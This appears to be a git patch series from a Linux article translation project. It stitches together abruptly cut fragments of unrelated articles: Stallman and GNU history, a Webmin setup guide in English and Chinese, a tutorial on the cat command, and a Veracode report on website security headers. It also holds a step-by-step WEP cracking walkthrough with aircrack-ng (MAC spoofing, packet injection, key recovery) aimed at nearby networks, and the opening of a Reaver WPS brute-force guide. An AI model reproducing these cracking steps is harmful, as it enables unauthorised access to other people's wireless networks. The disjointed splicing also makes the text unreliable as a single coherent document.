People will be free to devote themselves to activities that are fun, such as programming, after spending the necessary ten hours a week on required tasks such as legislation, family counselling, robot repair and asteroid prospecting…” + +In the real world, GNU grew directly out of ‘the EMACS commune’ and the disputes that arose around James Gosling’s version of Emacs for UNIX. In the ‘Emacs Manual for ITS Users’, dated 22 October 1981, Stallman was already expressing the ideas that gave rise to the GPL. + +“Emacs does not cost anything,” he wrote. “Instead, you are joining the Emacs software-sharing commune. The conditions of membership are that you must send back any improvements you make to Emacs, including any libraries you write…” + +Initially, Gosling allowed free distribution of the source code to Gosling EMACS, to which others had contributed. However, in April 1983, as Stallman tells it (bit.ly/d58ndg): “He stabbed everyone in the back by putting copyrights on it, making people promise not to redistribute it, and then selling it to a software house.” + +Stallman was hurt by what he saw as a betrayal, and said of Gosling, who later became known as the father of Java, “My later dealings with him personally showed that he was every bit as cowardly and despicable as you would expect from that history. “ + +The recriminations and legal threats surrounding these events led directly to the founding of GNU, and later, to the GPL. Gosling Emacs was soon eclipsed by GNU Emacs. The first tangible version of the GPL emerged as ‘the GNU Emacs copying permission notice’ in 1985, and went through several versions before the release of GPL 1.0 in 1989. + +Stallman later recounted that when he founded GNU, people had said, “Oh, this is an infinitely hard job; you can’t possibly write a whole system like UNIX. How can we possibly do that much? It would be nice, but it’s just hopeless.” But his response was that he was would do it anyway. “This is where I am great. I am great at being very, very stubborn and ignoring all sorts of reasons why you should change your goal, reasons that many other people will be susceptible to. Many people want to be on the winning side. I didn’t give a damn about that. I wanted to be on the side that was right, and even if I didn’t win, at least I was going to give it a good try.” + +“It’s not about money”, he said in 1999, “it’s about freedom. If you think it’s about money you’ve missed the point. I want to use a computer in freedom, to co-operate, to not be restricted or prohibited from sharing. The GNU/Linux system is catching on somewhat more now. The system is becoming popular for practical reasons. It’s a good system. The danger is people will like it because it’s practical and it will become popular without anyone having the vaguest idea of the ideals behind it, which would be an ironic way of failing.” + +Free software owes much to the obduracy and insights of Stallman, but as he suggested in his history of the GNU project, the struggle and the cause of free software is just as indebted to the contributions of others, and threats to its existence continue. + +“I have done most of my work while anxious about whether I could do the job, and unsure that it would be enough to achieve the goal if I did. But I tried anyway, because there was no one but me between the enemy and my city. Surprising myself, I have sometimes succeeded. + +“Sometimes I failed; some of my cities have fallen. Then I found another threatened city, and got ready for another battle. Over time, I’ve learned to look for threats and put myself between them and my city, calling on other hackers to come and join me. + +“Nowadays, often I’m not the only one.

Compared to a full-blown GUI desktop image, such a minimal setup is advantageous in terms of security, resource consumption and speed. - -If you are used to GUI-based environment, however, you may wonder whether there is a GUI for Linux server. A typical Linux desktop environment like GNOME, KDE, etc. will probably be too resource-heavy for what it's worth, and not as secure simply because there will be more code subject to potential security vulnerabilities. - -An alternative to a full-blown desktop GUI is to use a **web-based server administration tool**. There are several web-based system configuration tools, such as [Webmin][1], [ISPconfig][2], [Zentyal][3], etc. - -In this tutorial, I will describe **how to manage and configure a Linux server with Webmin's web-based GUI**. - -Webmin is a lightweight (~20 MB) system configuration tool written in Perl. Webmin has a built-in web server, allowing users to configure a Linux server via web interface. One of its strength is its modular architecture where you can load modules to Webmin to extend its functionality. - -### Install Webmin on Linux Server ### - -To install Webmin on Ubuntu or Debian server, you can use the following commands. - - $ sudo apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl apt-show-versions python - $ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb - $ sudo dpkg -i webmin_1.660_all.deb - -To install Webmin on CentOS or RHEL server, use these commands. - - $ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb - $ sudo rpm -U webmin-1.660-1.noarch.rpm - -### Access Webmin Interface ### - -Once you installed Webmin, you can access Webmin by going to https://:10000 on a web browser. If you have a firewall enabled, make sure that TCP 10000 port is not blocked. - -Also, note that you should use HTTPS, not HTTP. Otherwise, you will get a redirection error. By default, Webmin runs in SSL mode with a default SSL certificate generated by Webmin. - -Once you see Webmin's login page, you can log in as root (with the root password) or as any user who can use sudo on the Linux server. After logging in, you will see the status summary of your Linux server as follows. - -[![](http://farm4.staticflickr.com/3803/10937800943_e1ac465c3f_z.jpg)][4] - -### Webmin Features ### - -Webmin boasts of an extremely rich set of features that allow you to configure almost every aspect of a given Linux server. In the following, let me give you a glimpse of some of its powerful features. - -Enable or disable boot-time services, and show their configuration status. - -[![](http://farm8.staticflickr.com/7437/10937589506_7abcaac10e_z.jpg)][5] - -Monitor the status of server and services in real time, and configure scheduled monitoring and notification emails. Here you can monitor various server daemons such as NFS, MySQL, BIND DNS, Squid proxy, Apache Web server, etc., as well as system resources such as disk storage, memory or network traffic. - -Configure iptables-based firewall rules. - -[![](http://farm4.staticflickr.com/3679/10937801173_61cd4b11a3_z.jpg)][6] - -Configure local routing table and gateways. - -Mount and configure a filesystem. - -[![](http://farm4.staticflickr.com/3710/10937589556_9fd192cdb9_z.jpg)][7] - -Access and modify local file system via web-based file manager interface. This requires Java plugin for web browser. - -Change Webmin configurations, where you can access-control IP addresses, add/remove Webmin modules, enable two-factor authentication for secure login, set up certificate authority, etc. - -[![](http://farm8.staticflickr.com/7317/10937532015_b5e1263496_z.jpg)][8] - --------------------------------------------------------------------------------- - -via: http://xmodulo.com/2013/11/manage-linux-server-gui.html - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://www.webmin.com/ -[2]:http://www.ispconfig.org/ -[3]:http://www.zentyal.org/ -[4]:http://www.flickr.com/photos/xmodulo/10937800943/ -[5]:http://www.flickr.com/photos/xmodulo/10937589506/ -[6]:http://www.flickr.com/photos/xmodulo/10937801173/ -[7]:http://www.flickr.com/photos/xmodulo/10937589556/ -[8]:http://www.flickr.com/photos/xmodulo/10937532015/ \ No newline at end of file diff --git a/translated/How to manage Linux server with GUI.md b/translated/How to manage Linux server with GUI.md new file mode 100644 index 0000000000..f92cedabcd --- /dev/null +++ b/translated/How to manage Linux server with GUI.md @@ -0,0 +1,77 @@ +如何使用图形界面管理linux服务器 +================================================================================ +一台典型的linux服务器运行在预先载入了一些基本工具和配置服务的命令行界面环境中。和一些成熟的具有图形界面的桌面软件相比，就安全性、资源消费和速度来说，如此小的配置无疑是一个优点。 + +如果你曾经用过基于图形界面的软件环境，你也许会想在Linux服务器中是否也有图形界面。典型的Linux桌面环境如`GNOME`、`KDE`等，它们提供的功能相比带来的系统资源负担是不值得，而且还不够安全因为更多的代码会带来安全弱点。 + +替换成熟的基于图形界面桌面系统的一种可选方法是使用 **基于Web的管理工具**。现在已经有许多基于Web的配置管理工具, 如 [Webmin][1], [ISPconfig][2], [Zentyal][3], 等。 + +在这篇教程中, 我会讲述 **怎样利用基于Web的界面工具来管理和配置Linux服务器**. + +Webmin 是一个用`Perl`语言写的轻型 (~20 MB) 系统配置工具。 Webmin 具有内置的web服务器， 允许用户通过web接口来配置Linux服务器。 其中一个优点是由于它是基于模块架构的，你可以选择性加载模块来扩展其功能。 + +### Linux服务器上安装Webmin ### + +在 Ubuntu 或 Debian 系统中安装Webmin， 你可以使用如下命令。 + + $ sudo apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl apt-show-versions python + $ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb + $ sudo dpkg -i webmin_1.660_all.deb + +在CentOS 或 RHEL 系统中安装Webmin， 使用如下命令： + + $ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb + $ sudo rpm -U webmin-1.660-1.noarch.rpm + +### 使用 Webmin ### + +一旦你安装了Webmin, 你可以通过在浏览器中输入 https://:10000 来使用。 如果你开启了防火墙， 请确保TCP端口 10000 没有被使用。 + +同时， 请注意你应该使用 HTTPS， 而不是 HTTP。 否则， 会出现重定向错误。 Webmin 默认使用其自己生成的的SSL验证模式。 + +一旦你进入了Webmin登录页面， 你可以使用root身份登录 (当然需要输入root账户密码) 或者使用具有root权限的任何用户账户登录。 登录成功后， 你可以看到如下Linux服务器的状态信息。 + +[![](http://farm4.staticflickr.com/3803/10937800943_e1ac465c3f_z.jpg)][4] + +### Webmin 的特点 ### + +Webmin 一个引以为豪的有点就是它几乎能够配置任何Linux服务器所支持的配置。 下面， 让我们介绍一下它的重要功能。 + +开启或关闭 boot-time 服务， 同时会显示他们相关配置信息。 + +[![](http://farm8.staticflickr.com/7437/10937589506_7abcaac10e_z.jpg)][5] + +实时监控服务器状态和其他服务， 同时配置调度监控和提醒邮件。 你也可以监控一系列守护进程如 NFS, MySQL, BIND DNS, Squid proxy, Apache Web server等， 或者系统资源如 磁盘信息 (disk storage)、内存和网络故障(memory or network traffic)等。 + +配置 iptables-based firewall。 + +[![](http://farm4.staticflickr.com/3679/10937801173_61cd4b11a3_z.jpg)][6] + +配置本地路由表和网关。 + +挂载和配置文件系统。 + +[![](http://farm4.staticflickr.com/3710/10937589556_9fd192cdb9_z.jpg)][7] + +通过文件管理接口来查看和修改本地文件，但是这需要浏览器有相关的java插件。 + +通过改变Webmin的相关配置，你可以控制管理 IP 地址， 添加/删除 Webmin 功能模块， 开启 two-factor 认证来使用安全登录功能，或者创建权威验证等。 + +[![](http://farm8.staticflickr.com/7317/10937532015_b5e1263496_z.jpg)][8] + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2013/11/manage-linux-server-gui.html + +译者：[thinkinglk](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.webmin.com/ +[2]:http://www.ispconfig.org/ +[3]:http://www.zentyal.org/ +[4]:http://www.flickr.com/photos/xmodulo/10937800943/ +[5]:http://www.flickr.com/photos/xmodulo/10937589506/ +[6]:http://www.flickr.com/photos/xmodulo/10937801173/ +[7]:http://www.flickr.com/photos/xmodulo/10937589556/ +[8]:http://www.flickr.com/photos/xmodulo/10937532015/ \ No newline at end of file From 4f4dc3b1a93662dfe711f0bd1f4411db9f45a19d Mon Sep 17 00:00:00 2001 From: hongchuntang Date: Wed, 27 Nov 2013 12:47:48 +0800 Subject: [PATCH 262/402] translated 13 --- ...

There is why we have numbers of text editors in Linux. When you just need to see the content of those files, you can use a simple command named cat. - -From cat manual page it says - -> cat is a command that concatenate files and print on the standard output - -Cat is built-in command in Linux. I believe that all of Linux distribution has this Cat command by default. Let’s start to use how to use it. - -### 1. View the content of file ### - -The easiest way to use cat is just type ‘cat file_name’. - - # cat /etc/issue - - CentOS release 5.10 (Final) - Kernel \r on an \m - -### 2. Put the line number on the fly ### - -When reading a configuration file it may that you have a long configuration file. It will be easier to if you can put line numbers on the fly. Use -n parameter to fulfill this purpose. - - # cat -n /etc/ntp.conf - - 1 # Permit time synchronization our time resource but do not - 2 # permit the source to query or modify the service on this system - 3 restrict default kod nomodify notrap nopeer noquery - 4 restrict -6 default kod nomodify notrap nopeer noquery - 5 - 6 # Permit all access over the loopback interface. This could be - 7 # tightened as well, but to do so would effect some of the - 8 # administration functions - 9 restrict 127.0.0.1 - 10 restrict -6 ::1 - -### 3. Number non-blank output lines ### - -Similar with -n parameter, -b parameter will give you numbers **on the fly**. The difference is -b parameter will only number non-blank lines. - - #cat -n /etc/ntp.conf - - 1 # Permit time synchronization our time resource but do not - 2 # permit the source to query or modify the service on this system - 3 restrict default kod nomodify notrap nopeer noquery - 4 restrict -6 default kod nomodify notrap nopeer noquery - - 5 # Permit all access over the loopback interface. This could be - 6 # tightened as well, but to do so would effect some of the - 7 # administration functions - 8 restrict 127.0.0.1 - 9 restrict -6 ::1 - -### 4. Show tabs ### - -You may need to know where are the tabs on your text file. If you do, you can use -T parameter. Tab will be represented by **^I** characters. - - # cat -T /etc/hosts - - # Do not remove the following line, or various programs - # that require network functionality will fail. - 127.0.0.1^I^Ilocalhost.localdomain localhost - ::1^I^Ilocalhost6.localdomain6 localhost6 - -### 5. Show the end of lines ### - --E parameter will display **$** at end of each line. Here’s the example : - - # cat -E /etc/hosts - - # Do not remove the following line, or various programs$ - # that require network functionality will fail.$ - 127.0.0.1 localhost.localdomain localhost$ - ::1 localhost6.localdomain6 localhost6$ - -### 6. Show All ### - -If you want to combine between -T and -E, you can use -A parameter. - - # cat -A /etc/hosts - - # Do not remove the following line, or various programs$ - # that require network functionality will fail.$ - 127.0.0.1^I^Ilocalhost.localdomain localhost$ - ::1^I^Ilocalhost6.localdomain6 localhost6$ - -### 7. View the content per page ### - -When your file can not fit in your screen, you can **combine** cat with another command to make it displayed per page. Use the pipe ( | ) sign to combine it. - - # cat /proc/meminfo | less - - # cat /proc/meminfo | more - -The difference between less and more is that you can do scroll up **and** scroll down **on less command** using PageUp and PageDown buttons. While you can **only** do scroll down **on more command** using spacebar. - -### 8. View the contents of 2 files ### - -Let’s say we have 2 text files named linux and desktop located in /root folder. Each of files contains : -**Linux** : ubuntu, centos, redhat, mint and slackware -**Desktop** : gnome kde, xfce, enlightment, and cinnamon -When you want to view more than 1 file simultaneously, you do like this : - - # cat /root/linux /root/desktop - - ubuntu - centos - redhat - mint - slackware - gnome - kde - xfce - enlightment - cinnamon - -### 9. Sorting file ### - -Again, you can combine cat using another command to make a custom output. If you want to sort it, you can combine it with **sort** command. Here’s the example : - - # cat /root/linux | sort - - centos - mint - redhat - slackware - Ubuntu - -### 10. Redirect standard output ### - -You can also redirect the output to screen or to another file. Just use > sign (greater-than symbol) if you want to redirect the output into a file. - - # cat /root/linux > /root/linuxdistro - -The above command will **create** a linuxdistro file that has the same content with /root/linux file. - -### 11. Creating a new file ### - -There are some ways to create a text file in Linux. One of them is using cat command. - - # cat > operating_system - - Unix - Linux - Windows - MacOS - -When you type cat > operating system, it will create a file which named operating_system. Then you will see a blank line below the cat command. You can type the content that you want. We typed Unix, Linux, Windows and MacOS for example. When you’re done, **press Ctrl-D** to save the content and exit from cat command. You will see **a file named operating_system** is created in the current folder with the content that you add before. - -### 12. Append the content of file ### - -If you use the > sign twice, it means that the content of the first file will be added to the second file. Let’s see the example : - - # cat /root/linux >> /root/desktop - - # cat /root/desktop - -The first cat command will add the content of /root/linux to /root/desktop file -The second command will show you this output : - - ubuntu - centos - redhat - mint - slackware - gnome - kde - xfce - enlightment - cinnamon - -### 13. Redirect standard input ### - -You can also redirect standard input using **<** sign (less-than symbol). - - # cat < /root/linux - -The above command means that /root/linux will be an input for cat command. The output will be like this : - - ubuntu - centos - redhat - mint - slackware - -To make it clearer, let’s see another example : - - # cat < /root/linux | sort > linux-sort - -That command will be read : **sort content from /root/linux file then print the output to linux-sort file** - -So the output of linux-sort file will be like this : - - centos - mint - redhat - slackware - ubuntu - -That’s some examples of cat command on day-to-day operation.

As before, the latest Chrome and Firefox User-Agent strings were used to make requests to the top 1 million sites over both HTTP and HTTPS. Out of the 2,589,918 responses we had over 100,000 distinct security headers and values to analyze. + +Comparing with previous scans, we had 514,288 URLs that matched the first run we did in November 2012 and 1,207,169 URLs that matched from March 2013. This time around we added yet another security header “X-XSS-Protection” due to a request from a commenter on this blog. Unfortunately, we did not store this header in any of the prior scans so we are unable to compare its adoption rate. + +### Changes, Additions and Removals Yearly Review ### + +A total of 7,258 new security headers were added over the course of a year to the 514,288 URLs that existed in both data sets. As before, we see the largest increase in additions to X-Frame-Options and CORS headers. In a not so distant fourth we see Strict-Transport-Security steadily climbing with 538 new sites using the header. Even though X-Content-Security-Policy and X-WebKit-CSP are deprecated, we still see a small increase in their additions. Once again the highest used headers also end up having the highest number of removals with X-Frame-Options being removed from 365 sites over the course of the year. + +![](http://www.veracode.com/blog/wp-content/uploads/2013/11/add_change_remove_11.12-11.131.png) + +You may notice that the Content-Security-Policy header is missing from the yearly review, this is because it was not standardized when we first started this analysis. To see the adoption rate of the standardized CSP, we need to look at a comparison of the scan that was conducted in March 2013. + +### Changes, Additions and Removals from March 2013 ### + +We have a lot more URLs that matched since last March, yet surprisingly, the charts look extremely similar. 7,099 new security headers were added for the 1,207,169 URLs that matched between this run and March 2013. Of these sites, a disappointingly small number of 62 sites enabled Content-Security-Policy with 47 sites enabling the soon to be disabled X-Content-Security-Policy header. + +![](http://www.veracode.com/blog/wp-content/uploads/2013/11/add_change_remove_03.13-11.13.png) + +While it would be nice to see CSP’s adoption rates increase more, it is quite understandable as it is such a large undertaking for any website to create a compliant policy. + +### November 2013 Results ### + +#### X-XSS-Protection #### + +This time around another header was added to the analysis. The Microsoft endorsed header was built to allow sites to control how Internet Explorer’s XSS Filtering feature is to be handled on a resource by resource basis. Valid values for X-XSS-Protection are as follows: + +1. 0 – Disables XSS protections +1. 1 – Enables XSS protections, in IE the filter will attempt to sanitize potential malicious characters. +1. 1; mode=block – Enables XSS protections and instructs IE to block the response instead of sanitizing. +1. 1; report=[url] – Allows reports to be sent to the specified URL of potential XSS attempts. + +It should be noted that Google Chrome’s XSS Auditor will also be disabled if a resource responds with 0 as the value for the X-XSS-Protection header. + +![](http://www.veracode.com/blog/wp-content/uploads/2013/11/x_xss_protection_11.13.png) + +As previous readers will remember, invalid header values are a serious problem and X-XSS-Protection is no exception. Almost 480 sites incorrectly specified the value of “0; mode=block”. This means that 477 sites who think they are blocking XSS attacks are actively disabling the XSS protections built in to IE and Chrome. Please note that [YouTube][1] and [Blogspot][2] make up the majority of URLs using X-XSS-Protection with 14,210 for YouTube and 18,587 for Blogspot. + +### X-Frame-Options ### + +![](http://www.veracode.com/blog/wp-content/uploads/2013/11/x_frame_options_11.13.png) + +X-Frame-Options is still holding strong with SAMEORIGIN being by far the largest setting with YouTube again taking up the majority with 14,178 URLs all of which are set to SAMEORIGIN. Along with the jump in sites using X-Frame-Options we are also seeing an increase in invalid values being configured. + +### Cross Origin Request Sharing (CORS) Headers ### + +Once again we looked at the two CORS headers Access-Control-Allow-Origin and Access-Control-Allow-Credentials. + +![](http://www.veracode.com/blog/wp-content/uploads/2013/11/acao_11.13.png) + +Unfortunately, we are still seeing a large number of sites incorrectly configuring Access-Control-Allow-Origin by specifying wildcards or multiple origins separated by various characters. As a reminder Access-Control-Allow-Origin only allows either * (wildcard value) or a single origin with a valid scheme specified. + +As for Access-Control-Allow-Credentials, 1388 sites have set the value to true, 51 for false. Surprisingly, we identified 196 sites setting wildcard origin access but setting Access-Control-Allow-Credentials to true which is an invalid combination of settings. + +### Strict-Transport-Security ### + +Due to readers suggestions we have changed the long max-age value to be anything greater than 604800 seconds, or 7 days. Likewise, values below are considered to be a short max-age. [Facebook][3] and [Etsy][4] comprise 74 and 61 URLs respectively in the Max Age of 0 column. As a reminder, a header value of 0 clears the domain from the browser’s Strict Transport Security cache. Of the more interesting invalid values, a large number of sites incorrectly use ‘,’ as a delimiter between the max-age value and includeSubDomains directives. Unfortunately, both Firefox and Chrome are extremely strict in this regard and will refuse to add the site to the STS cache if the ‘,’ character is used instead of the RFC defined token of ‘;’. Once again, please check the RFCs before implementing any of these security headers. + +![](http://www.veracode.com/blog/wp-content/uploads/2013/11/sts_11.131.png) + +#### Content-Security-Policy #### + +Content Security Policy continues to grow in usage but extremely slowly. Only 269 sites are using the [w3 specification’s Content-Security-Policy][5] header, with 95 of these URLs coming from Facebook. Interestingly, 584 sites are using X-Content-Security-Policy and 487 sites are using X-Webkit-CSP. It should be noted that these two headers are already considered deprecated but have yet to be disabled. Only an extremely small number of sites using the report-only versions of the CSP headers were observed. It would be expected that web site operators wishing to test out CSP would use the report only mode to determine how Content Security Policy would impact their site, yet we only see 24 sites using Content-Security-Policy-Report-Only. + +![](http://www.veracode.com/blog/wp-content/uploads/2013/11/csp_11.13.png) + +The most interesting result of the CSP analysis is the large number of sites which use CSP with the unsafe directives. It is assumed the reason unsafe-inline has such a high rate of usage is due to how extremely hard it is for developers to remove all inline script from web page elements. While disappointing to see, it is understandable to anyone who has attempted to enact a strict CSP policy. + +### Conclusion ### + +It is safe to say that we have a long way to go to making sure our sites use all available means to protect themselves. While security headers are only a small part of defense, applied appropriately they can and do help us all be more secure internet users. While encouraging to see the numbers increasing, we must keep in mind that less than 10% (199,350) of the 2,589,918 URLs analyzed have security headers. While strict adherence to RFCs is necessary, typos, combined with the rigidness of directive parsing, do not help site administrators or users when encountering these headers. While hope should not be given up on CSP, it’s extremely low adoption rate is rather concerning and it may be worth considering creation of tools to help create, verify and support site administrators that wish to adopt CSP. + +As before, Veracode has released the raw data from this analysis, so feel free to download the November 2013 results here. + +-------------------------------------------------------------------------------- + +via: http://www.veracode.com/blog/2013/11/security-headers-on-the-top-1000000-websites-november-2013-report/ + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.youtube.com/ +[2]:http://www.blogspot.com/ +[3]:http://www.facebook.com/ +[4]:http://www.etsy.com/ +[5]:http://www.w3.org/TR/CSP/ \ No newline at end of file From 9d616903f7b1fcd0c94c195de3504929b1d7228f Mon Sep 17 00:00:00 2001 From: DeadFire Date: Wed, 27 Nov 2013 16:20:41 +0800 Subject: [PATCH 269/402] =?UTF-8?q?20131127-2=20=E9=80=89=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...

This ain't what you'd call "news." But what is surprising is that someone like me, with minimal networking experience, can get this done with free software and a cheap Wi-Fi adapter. Here's how it goes. + +### What You'll Need ### + +![](http://img.gawkerassets.com/img/17ggkrsu8hf19png/original.png) + +Unless you're a computer security and networking ninja, chances are you don't have all the tools on hand to get this job done. Here's what you'll need: + +- **A compatible wireless adapter**—This is the biggest requirement. You'll need a wireless adapter that's capable of packet injection, and chances are the one in your computer is not. After consulting with my friendly neighborhood security expert, I purchased an Alfa AWUS050NH USB adapter, pictured here, and it set me back about $50 on Amazon. Update: Don't do what I did. Get the [Alfa AWUS036H][4], not the US050NH, instead. [The guy in this video][5] below is using a $12 model he bought on Ebay (and is even [selling his router of choice)][6]. There are [plenty of resources on getting aircrack-compatible adapters out there][7]. + +- **[A BackTrack Live CD][8]**. We already took you on a [full screenshot tour of how to install and use BackTrack 3][9], the Linux Live CD that lets you do all sorts of security testing and tasks. Download yourself a copy of the CD and burn it, or load it up in VMware to get started. + +- **A nearby WEP-enabled Wi-Fi network**. The signal should be strong and ideally people are using it, connecting and disconnecting their devices from it. The more use it gets while you collect the data you need to run your crack, the better your chances of success. + +- **Patience with the command line**. This is an ten-step process that requires typing in long, arcane commands and waiting around for your Wi-Fi card to collect data in order to crack the password. Like the doctor said to the short person, be a little patient. + +### Crack That WEP ### + +To crack WEP, you'll need to launch Konsole, BackTrack's built-in command line. It's right there on the taskbar in the lower left corner, second button to the right. Now, the commands. + +First run the following to get a list of your network interfaces: + + airmon-ng + +The only one I've got there is labeled ra0. Yours may be different; take note of the label and write it down. From here on in, substitute it in everywhere a command includes (interface). + +Now, run the following four commands. See the output that I got for them in the screenshot below. + + airmon-ng stop (interface) + ifconfig (interface) down + macchanger —mac 00:11:22:33:44:55 (interface) + airmon-ng start (interface) + +![](http://img.gawkerassets.com/img/17ggkrsub9llbpng/ku-xlarge.png) + +If you don't get the same results from these commands as pictured here, most likely your network adapter won't work with this particular crack. If you do, you've successfully "faked" a new MAC address on your network interface, 00:11:22:33:44:55. + +Now it's time to pick your network. Run: + + airodump-ng (interface) + +To see a list of wireless networks around you. When you see the one you want, hit Ctrl+C to stop the list. Highlight the row pertaining to the network of interest, and take note of two things: its BSSID and its channel (in the column labeled CH), as pictured below. Obviously the network you want to crack should have WEP encryption (in the ENC) column, not WPA or anything else. + +![](http://img.gawkerassets.com/img/17ggkrut97td8png/ku-xlarge.png) + +Like I said, hit Ctrl+C to stop this listing. (I had to do this once or twice to find the network I was looking for.) Once you've got it, highlight the BSSID and copy it to your clipboard for reuse in the upcoming commands. + +Now we're going to watch what's going on with that network you chose and capture that information to a file. Run: + + airodump-ng -c (channel) -w (file name) —bssid (bssid) (interface) + +Where (channel) is your network's channel, and (bssid) is the BSSID you just copied to clipboard. You can use the Shift+Insert key combination to paste it into the command. Enter anything descriptive for (file name). I chose "yoyo," which is the network's name I'm cracking. + +![](http://img.gawkerassets.com/img/17ggkrutbx04dpng/ku-xlarge.png) + +You'll get output like what's in the window in the background pictured below. Leave that one be. Open a new Konsole window in the foreground, and enter this command: + + aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) (interface) + +Here the ESSID is the access point's SSID name, which in my case is yoyo. What you want to get after this command is the reassuring "Association successful" message with that smiley face. + +![](http://img.gawkerassets.com/img/17ggkrut9v67spng/ku-xlarge.png) + +You're almost there. Now it's time for: + + aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface) + +Here we're creating router traffic to capture more throughput faster to speed up our crack. After a few minutes, that front window will start going crazy with read/write packets. (Also, I was unable to surf the web with the yoyo network on a separate computer while this was going on.) Here's the part where you might have to grab yourself a cup of coffee or take a walk. Basically you want to wait until enough data has been collected to run your crack. Watch the number in the "#Data" column—you want it to go above 10,000. (Pictured below it's only at 854.) + +Depending on the power of your network (mine is inexplicably low at -32 in that screenshot, even though the yoyo AP was in the same room as my adapter), this process could take some time. Wait until that #Data goes over 10k, though—because the crack won't work if it doesn't. In fact, you may need more than 10k, though that seems to be a working threshold for many. + +![](http://img.gawkerassets.com/img/17ggkrwseb5uipng/ku-xlarge.png) + +Once you've collected enough data, it's the moment of truth. Launch a third Konsole window and run the following to crack that data you've collected: + + aircrack-ng -b (bssid) (file name-01.cap) + +Here the filename should be whatever you entered above for (file name). You can browse to your Home directory to see it; it's the one with .cap as the extension. + +If you didn't get enough data, aircrack will fail and tell you to try again with more. If it succeeds, it will look like this: + +![](http://img.gawkerassets.com/img/17ggkrws8f1gepng/ku-medium.png) + +The WEP key appears next to "KEY FOUND." Drop the colons and enter it to log onto the network. + +### Problems Along the Way ### + +With this article I set out to prove that cracking WEP is a relatively "easy" process for someone determined and willing to get the hardware and software going. I still think that's true, but unlike the guy in the video below, I had several difficulties along the way. In fact, you'll notice that the last screenshot up there doesn't look like the others—it's because it's not mine. Even though the AP which I was cracking was my own and in the same room as my Alfa, the power reading on the signal was always around -30, and so the data collection was very slow, and BackTrack would consistently crash before it was complete. After about half a dozen attempts (and trying BackTrack on both my Mac and PC, as a live CD and a virtual machine), I still haven't captured enough data for aircrack to decrypt the key. + +So while this process is easy in theory, your mileage may vary depending on your hardware, proximity to the AP point, and the way the planets are aligned. Oh yeah, and if you're on deadline—Murphy's Law almost guarantees it won't work if you're on deadline. + +To see the video version of these exact instructions, check out this dude's YouTube video. + +[http://www.youtube.com/embed/kDD9PjiQ2_U?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1][10] + +Got any experience with the WEP cracking courtesy of BackTrack?

There are a number of ways you could set up Reaver, but here are the specific requirements for this guide: + +![](http://img.gawkerassets.com/img/194pra0777vwyjpg/ku-xlarge.jpg) + +- [**The BackTrack 5 Live DVD**][4]. BackTrack is a bootable Linux distribution that's filled to the brim with network testing tools, and while it's not strictly required to use Reaver, it's the easiest approach for most users. Download the Live DVD [from BackTrack's download page][5] and burn it to a DVD. You can alternately download a virtual machine image if you're using VMware, but if you don't know what VMware is, just stick with the Live DVD. As of this writing, that means you should select BackTrack 5 R3 from the Release drop-down, select Gnome, 32- or 64-bit depending on your CPU (if you don't know which you have, 32 is a safe bet), ISO for image, and then download the ISO. + +- **A computer with Wi-Fi and a DVD drive**. BackTrack will work with the wireless card on most laptops, so chances are your laptop will work fine. However, BackTrack doesn't have a full compatibility list, so no guarantees. You'll also need a DVD drive, since that's how you'll boot into BackTrack. I used a six-year-old MacBook Pro. + +- **A nearby WPA-secured Wi-Fi network**. Technically, it will need to be a network using WPA security with the WPS feature enabled. I'll explain in more detail in the "How Reaver Works" section how WPS creates the security hole that makes WPA cracking possible. + +- **A little patience**. This is a 4-step process, and while it's not terribly difficult to crack a WPA password with Reaver, it's a brute-force attack, which means your computer will be testing a number of different combinations of cracks on your router before it finds the right one. When I tested it, Reaver took roughly 2.5 hours to successfully crack my password. The [Reaver home page][6] suggests it can take anywhere from 4-10 hours. Your mileage may vary. + +### Let's Get Crackin' ### + +At this point you should have BackTrack burned to a DVD, and you should have your laptop handy. + +#### Step 1: Boot into BackTrack #### + +To boot into BackTrack, just put the DVD in your drive and boot your machine from the disc. (Google around if you don't know anything about live CDs/DVDs and need help with this part.) During the boot process, BackTrack will prompt you to to choose the boot mode. Select "BackTrack Text - Default Boot Text Mode" and press Enter. + +Eventually BackTrack will boot to a command line prompt. When you've reached the prompt, type `startx` and press Enter. BackTrack will boot into its graphical interface. + +#### Step 2: Install Reaver #### + +Update: This step is no longer necessary, as Reaver comes pre-installed on Backtrack 5 R3. Skip down to Step 3. + +Reaver has been added to the bleeding edge version of BackTrack, but it's not yet incorporated with the live DVD, so as of this writing, you need to install Reaver before proceeding. (Eventually, Reaver will simply be incorporated with BackTrack by default.) To install Reaver, you'll first need to connect to a Wi-Fi network that you have the password to. + +1. Click Applications > Internet > Wicd Network Manager +1. Select your network and click Connect, enter your password if necessary, click OK, and then click Connect a second time. + +Now that you're online, let's install Reaver. Click the Terminal button in the menu bar (or click Applications > Accessories > Terminal). At the prompt, type: + + apt-get update + +And then, after the update completes: + + apt-get install reaver + +If all went well, Reaver should now be installed. It may seem a little lame that you need to connect to a network to do this, but it will remain installed until you reboot your computer. At this point, go ahead and disconnect from the network by opening Wicd Network Manager again and clicking Disconnect. (You may not strictly need to do this. I did just because it felt like I was somehow cheating if I were already connected to a network.) + +#### Step 3: Gather Your Device Information, Prep Your Crackin' #### + +In order to use Reaver, you need to get your 